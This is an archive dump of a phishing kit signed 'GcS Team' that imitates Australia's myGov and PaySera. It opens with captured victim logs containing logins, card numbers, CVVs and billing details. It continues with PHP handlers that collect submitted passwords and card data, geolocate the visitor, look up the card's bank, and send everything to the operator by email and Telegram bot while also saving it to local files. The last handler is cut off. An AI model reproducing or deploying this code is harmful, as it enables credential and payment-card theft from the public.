[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:52:17
[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
|Email or Phone      : t.me-amandz741@gmail.com
|Password        : Passwordtest123
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
105.72.213.126  -  2025-9-13 @ 00:30:02
[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
|Email or Phone      : jhhjh@aol.com
|Password        : hghggfh
[+]━━━━【💻 System INFO】━━━━[+]
105.72.213.126
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]
mygov/app/rez/Mygov_Rzlt.txt000064400000023502151676702570012164 0ustar00::1  -  2022-10-05 @ 21:01:05
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : 
|Password      : 
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : 
|[💳 CC Number]      : 
|[🔄 Expiry Date ]      : 
|[🔑 (CVV)]      : 
|Phone      : 
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : 
|Card Brand          : 
|Card Country           : 
|Bank Scheme          : 
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:25:31
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : John Doe
|[💳 CC Number]      : 4156 4987 0231 5645
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 654
|Phone      : 
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : CARD SERVICES FOR CREDIT UNIONS, INC.
|Card Type           : CREDIT
|Card Brand          : TRADITIONAL
|Card Country           : United States of America
|Bank Scheme          : VISA
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:26:37
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : 
|[💳 CC Number]      : 
|[🔄 Expiry Date ]      : 
|[🔑 (CVV)]      : 
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : 
|Card Brand          : 
|Card Country           : 
|Bank Scheme          : 
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:27:57
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : 
|[💳 CC Number]      : 
|[🔄 Expiry Date ]      : 
|[🔑 (CVV)]      : 
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : 
|Card Brand          : 
|Card Country           : 
|Bank Scheme          : 
[+]━━━━【[📓] Billing INFO】━━━━[+]
|First name          : John
|Last name          : Doe
|Address 1 [📓]          : La nouvelle gare
|Address 2 [📓]          : Rue BITAM OMAR n1
|City 🌃           : Ain touta
|State 🌃           : Batna
|Zip code 🌃          : 05002
|Phone number 📞           : +213774472129
|Date of birthday 🎂        : 08/12/1990
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:29:19
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : John Zebi
|[💳 CC Number]      : 4987 1023 1654 5643
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 546
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : DEBIT
|Card Brand          : 
|Card Country           : United Kingdom of Great Britain and Northern Ireland
|Bank Scheme          : VISA
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:29:38
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : John Zebi
|[💳 CC Number]      : 4987 1023 1654 5643
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 546
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : DEBIT
|Card Brand          : 
|Card Country           : United Kingdom of Great Britain and Northern Ireland
|Bank Scheme          : VISA
[+]━━━━【[📓] Billing INFO】━━━━[+]
|First name          : dsq
|Last name          : dsq
|Address 1 [📓]          : dsq
|Address 2 [📓]          : dsq
|City 🌃           : dsq
|State 🌃           : qsd
|Zip code 🌃          : qsd
|Phone number 📞           : qsd
|Date of birthday 🎂        : 12/12/1298
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:40:29
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : sdq
|[💳 CC Number]      : 4561 2356 4654 1321
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 456
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : BNP PARIBAS
|Card Type           : DEBIT
|Card Brand          : GOLD
|Card Country           : France
|Bank Scheme          : VISA
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:44:38
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : ZD654123
|Password      : qsdsdq
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : sdq
|[💳 CC Number]      : 4561 2356 4654 1321
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 456
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : BNP PARIBAS
|Card Type           : DEBIT
|Card Brand          : GOLD
|Card Country           : France
|Bank Scheme          : VISA
[+]━━━━【[📓] Billing INFO】━━━━[+]
|First name          : dqs
|Last name          : dsq
|Address 1 [📓]          : sdq
|Address 2 [📓]          : sqd
|City 🌃           : qsd
|State 🌃           : sdq
|Zip code 🌃          : sqd
|Phone number 📞           : qds
|Date of birthday 🎂        : 12156645
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
::1  -  2022-10-05 @ 21:53:43
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
[+]━━━━【🔑 Account Login 】━━━━[+]
|Email or Phone      : t.me-amandz741@gmail.com
|Password      : Passwordtest123
[+]━━━━【💳 CC INFO】━━━━[+]
|Card holder      : Aman GcS
|[💳 CC Number]      : 5613 2654 1032 1978
|[🔄 Expiry Date ]      : 02/25
|[🔑 (CVV)]      : 456
[+]━━━━【🏦 Bank INFO】━━━━[+]
|Bank Name          : 
|Card Type           : 
|Card Brand          : 
|Card Country           : 
|Bank Scheme          : 
[+]━━━━【💻 System INFO】━━━━[+]
::1
Country : 
City: 
Region : 
State: 
Zip : 
country code: 
lat: 
lon: 
timezone: 
isp: 
as: 
UserAgent  :  Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36
[GcS Team🇩🇿][+]━━━━【 PaySera Logs 】━━━━[+][GcS Team🇩🇿]
mygov/app/rez/send.php000064400000007400151676702570010750 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$message = "[link: $link ]\r\n";


$_SESSION['username'] = $_POST['username'];
$_SESSION['password'] = $_POST['password'];


$file = fopen("Mygov.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";


$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 Mygov 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "|Email or Phone      : ".$_SESSION['username']."\r\n";
$message .= "|Password        : ".$_SESSION['password']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);

HEADER("Location: ../addcc.php");


?>

mygov/app/rez/sendcc.php000064400000013236151676702570011262 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$send2 = $email2;
$message = "[link: $link ]\r\n";

$_SESSION['holder'] = $_POST['holder'];
$_SESSION['cardnumber'] = $_POST['cardnumber'];
$_SESSION['expiry'] = $_POST['expiry'];
$_SESSION['cvv'] = $_POST['cvv'];
$_SESSION['phone'] = $_POST['phone'];


$file = fopen("Mygov_Rzlt.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";

$hostname = gethostbyaddr($ip);
$bincheck = $_POST['cardnumber'] ;
$bincheck = preg_replace('/\s/', '', $bincheck);


$bin = $_POST['cardnumber'] ;
$bin = preg_replace('/\s/', '', $bin);
$bin = substr($bin,0,8);
$cardlastdigit = substr($_POST['cardnumber'],12,16);
$url = "https://lookup.binlist.net/".$bin;
$headers = array();
$headers[] = 'Accept-Version: 3';
$ch = curl_init();  
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
$resp=curl_exec($ch);
curl_close($ch);
$xBIN = json_decode($resp, true);

$_SESSION['bank_name'] = $xBIN["bank"]["name"];
$_SESSION['bank_scheme'] = strtoupper($xBIN["scheme"]);
$_SESSION['bank_type'] = strtoupper($xBIN["type"]);
$_SESSION['bank_brand'] = strtoupper($xBIN["brand"]);
$_SESSION['bank_country'] = $xBIN["country"]["name"];

$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 PaySera 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


$message = "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\r\n";
$message .= "[+]━━━━【🔑 Account Login 】━━━━[+]\r\n";
$message .= "|Email or Phone      : ".$_SESSION['username']."\r\n";
$message .= "|Password      : ".$_SESSION['password']."\r\n";
$message .= "[+]━━━━【💳 CC INFO】━━━━[+]\r\n";
$message .= "|Card holder      : ".$_SESSION['holder']."\r\n";
$message .= "|[💳 CC Number]      : ".$_SESSION['cardnumber']."\r\n";
$message .= "|[🔄 Expiry Date ]      : ".$_SESSION['expiry']."\r\n";
$message .= "|[🔑 (CVV)]      : ".$_SESSION['cvv']."\r\n";
$message .= "[+]━━━━【🏦 Bank INFO】━━━━[+]\r\n";
$message .= "|Bank Name          : ".$_SESSION['bank_name']."\r\n";
$message .= "|Card Type           : ".$_SESSION['bank_type']."\r\n";
$message .= "|Card Brand          : ".$_SESSION['bank_brand']."\r\n";
$message .= "|Card Country           : ".$_SESSION['bank_country']."\r\n";
$message .= "|Bank Scheme          : ".$_SESSION['bank_scheme']."\r\n";
$message .= "[+]━━━━【💻 System INFO】━━━━[+]\r\n";
$message .=$ip."\nCountry : ".$COUNTRY."City: " .$CITY."Region : " .$REGION."State: " .$STATE."Zip : " .$ZIPCODE."country code: " .$countryCode."lat: " .$lat."lon: " .$lon."timezone: " .$timezone."isp: " .$isp."as: " .$as;
$message .= "UserAgent  :  ".$_SERVER['HTTP_USER_AGENT']."\n";
$message .= "[GcS Team🇩🇿][+]━━━━【🇦🇺 Mygov Logs 🇦🇺】━━━━[+][GcS Team🇩🇿]\n";
$_SESSION['message'] = $message;
mail($send,$subject,$message,$headers);
file_get_contents("https://api.telegram.org/bot".$api."/sendMessage?chat_id=".$chatid."&text=" . urlencode($message)."" );
$myfile = fopen("Mygov_Rzlt.txt", "a+");
$txt = $message;
fwrite($myfile, $txt);
fclose($myfile);
HEADER("Location: ../addbilling.php");


?>

mygov/app/rez/sendfull.php000064400000013242151676702570011634 0ustar00<?php
/*
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⠆⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⢤⣴⠟⠁⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣄⠐⠟⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡀⠺⣿⡿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⠆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⠟⢁⣴⣷⣦⣤⣤⣤⡀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣾⣿⡿⠛⡆⠀⠉⠛⠻⠿⠿⠿⠇⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⢿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⢠⣴⣿⡦⠀⢻⣷⠀⠀⠀t.me/amandz741 ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⢀⣴⣿⣿⡿⠁⠀⠘⠋⠀  GcS Team remember this name⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⣰⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠈⠻⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠈⠀⠀         ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
*/
session_start();
include "../../anti/anti1.php";
include "../../anti/anti2.php"; 
include "../../anti/anti3.php"; 
include "../../anti/anti4.php"; 
include "../../anti/anti5.php"; 
include "../../anti/anti7.php";
include '../../email.php';
$ip = getenv("REMOTE_ADDR");
$link = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'] ;
$send2 = $email2;
$message = "[link: $link ]\r\n";

$_SESSION['firstname'] = $_POST['firstname'];
$_SESSION['lastname'] = $_POST['lastname'];
$_SESSION['address1'] = $_POST['address1'];
$_SESSION['address2'] = $_POST['address2'];
$_SESSION['city'] = $_POST['city'];
$_SESSION['state'] = $_POST['state'];
$_SESSION['zipcode'] = $_POST['zipcode'];
$_SESSION['phonee'] = $_POST['phonee'];
$_SESSION['birthday'] = $_POST['birthday'];

$file = fopen("Mygov_Rzlt.txt","a");
fwrite($file,$ip."  -  ".gmdate ("Y-n-d")." @ ".gmdate ("H:i:s")."\n");


$IP_LOOKUP = @json_decode(file_get_contents("http://ip-api.com/json/".$ip));
$COUNTRY = $IP_LOOKUP->country . "\r\n";
$countryCode = $IP_LOOKUP->countryCode. "\r\n";
$regionName    = $IP_LOOKUP->regionName . "\r\n";
$lat    = $IP_LOOKUP->lat . "\r\n";
$lon    = $IP_LOOKUP->long . "\r\n";
$timezone    = $IP_LOOKUP->timezone . "\r\n";
$isp    = $IP_LOOKUP->isp . "\r\n";
$as    = $IP_LOOKUP->as . "\r\n";
$CITY    = $IP_LOOKUP->city . "\r\n";
$REGION  = $IP_LOOKUP->region . "\r\n";
$STATE   = $IP_LOOKUP->regionName . "\r\n";
$ZIPCODE = $IP_LOOKUP->zip . "\r\n";

$hostname = gethostbyaddr($ip);
$ip = $_SERVER['REMOTE_ADDR'];
$hostname = gethostbyaddr($ip);
$subject = "🇩🇿🇩🇿 PaySera 🇩🇿🇩🇿 $ip";
$headers = "From: GcS-Team<info@GcsTeam.com>";
$send = $email; 


